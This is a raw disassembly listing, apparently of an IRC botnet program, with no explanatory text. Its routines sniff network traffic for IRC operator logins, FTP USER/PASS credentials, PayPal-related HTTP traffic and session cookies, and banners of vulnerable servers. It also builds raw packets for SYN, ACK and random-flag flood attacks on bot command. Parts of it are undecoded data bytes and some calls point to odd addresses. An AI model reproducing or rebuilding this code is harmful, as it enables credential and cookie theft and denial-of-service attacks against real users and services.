		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2710000h
		nop


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 22ACF7Dh
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27D0484h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27D021Bh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27D021Bh
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22FC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022FC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 0C45EE890h, 106A022Fh, 57E4458Dh,	83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
